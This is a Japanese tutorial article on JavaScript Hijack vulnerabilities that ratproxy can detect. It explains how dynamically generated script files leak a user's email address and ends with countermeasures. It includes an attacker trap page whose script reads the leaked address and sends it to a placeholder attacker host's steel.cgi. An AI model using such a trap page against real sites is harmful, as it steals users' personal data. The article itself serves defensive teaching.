今回で,ratproxyで検出できる特徴的なぜい弱性の解説は終わりです。最終回となる今回は,JavaScript Hijackについてです。JavaScript Hijack,そしてJSON Hijackは,JavaScriptファイルやJSONデータ内に含まれる情報を盗む攻撃です。ratproxyは,この攻撃を成立させてしまうぜい弱性を見付けやすくなっています。

JavaScript Hijack

 まず最初にJavaScript Hijackについて説明しましょう。JavaScript Hijack攻撃にぜい弱になるのは,個人情報などの機密情報を内容として含むJavaScriptファイルを動的に生成しているアプリケーションです。筆者が過去の検査で実際に見たケースには,以下のようなものがありました。

(index.htmlの一部)
<script src="greeting.cgi"></script>
(greeting.cgi)
document.write('<u>ようこそ foobar@example.jpさん</u>');

 greeting.cgiは,アクセスしているユーザーをクッキー(Cookie)の情報から識別して,メール・アドレスを含むあいさつ文のHTMLを出力するJavaScriptコードを生成します。index.htmlでは,greeting.cgiをscriptタグで読み込んでいます。これにより,index.htmlの画面内に「ようこそ・・・さん」というメッセージが表示されるわけです。

 このような実装の利点は,あいさつ文を出力するようなサイト全体で共通に使用する機能をgreeting.cgiに集約させて,それを各画面からscriptタグで読み込むことにより,各画面(index.htmlなど)の実装を簡略化できることでしょう。

 しかし実は,このような実装をしていると,ユーザーのメール・アドレスは外部サイトの攻撃者に抜き取られてしまいます。以下で攻撃の原理を簡単に説明します。

 まず攻撃者は自身のサイトに以下のような罠(わな)ページを設置します。

<!-- [A] 脆弱なサイトのgreeting.cgiを読み込む -->
<div id="mailaddress">
 <script src="http://脆弱なサイト/greeting.cgi"></script>
</div>

<!-- [B] greeting.cgiの中身を攻撃者のサイトに送る -->
<script>
var address = document.getElementById('mailaddress').innerHTML;
document.location = 'http://攻撃者サイト/steel.cgi?' + escape(address);
</script>

 ぜい弱なサイトにログイン中の被害者が,上のような攻撃者のサイト上の罠ページにアクセスしてしまったとします。罠ページでは,ぜい弱なサイトのgreeting.cgiをscriptタグで読み込んでいる([A]の部分)ため,被害者のブラウザはぜい弱なサイト上のgreeting.cgiにリクエストを送信します。

 このリクエストのヘッダーには,ぜい弱なサイトから被害者のブラウザに対して発行されたクッキーが含まれています。そのため,ぜい弱なサイトのgreeting.cgiは,通常のリクエストが来た時と同じように,被害者のメール・アドレスを含むJavaScriptコードを返してしまいます。

 罠ページ上の[B]部分のJavaScriptは,被害者のメールアドレスを含むHTMLデータを攻撃者のサイト上のsteel.cgiに送信します。これにより,被害者のメールアドレスは攻撃者の手に渡ってしまいます。

 この攻撃への対策は,盗まれては困る情報はそもそもJavaScriptファイル内に出力しないことです。上記のあいさつ文の例では,面倒でも個別の画面のHTMLにあいさつ文を出力するように,サーバー・サイドで処理するということになります。

 もう一つの対策は,greeting.cgiのURLを攻撃者には予測困難なものにすることです。例えば,greeting.cgi?s=(ユーザーごとに異なる秘密の情報)のように,秘密の情報をパラメータとして付けてgreeting.cgiを呼び出さないと,氏名を含むJavaScriptコードを返さないようにgreeting.cgiを実装します。秘密の情報としては,セッションID,Cookieのハッシュ値などを利用できます。攻撃者は他のユーザーの「秘密の情報」を知ることができないために,greeting.cgiを呼び出して他のユーザの氏名を奪うことはできなくなります。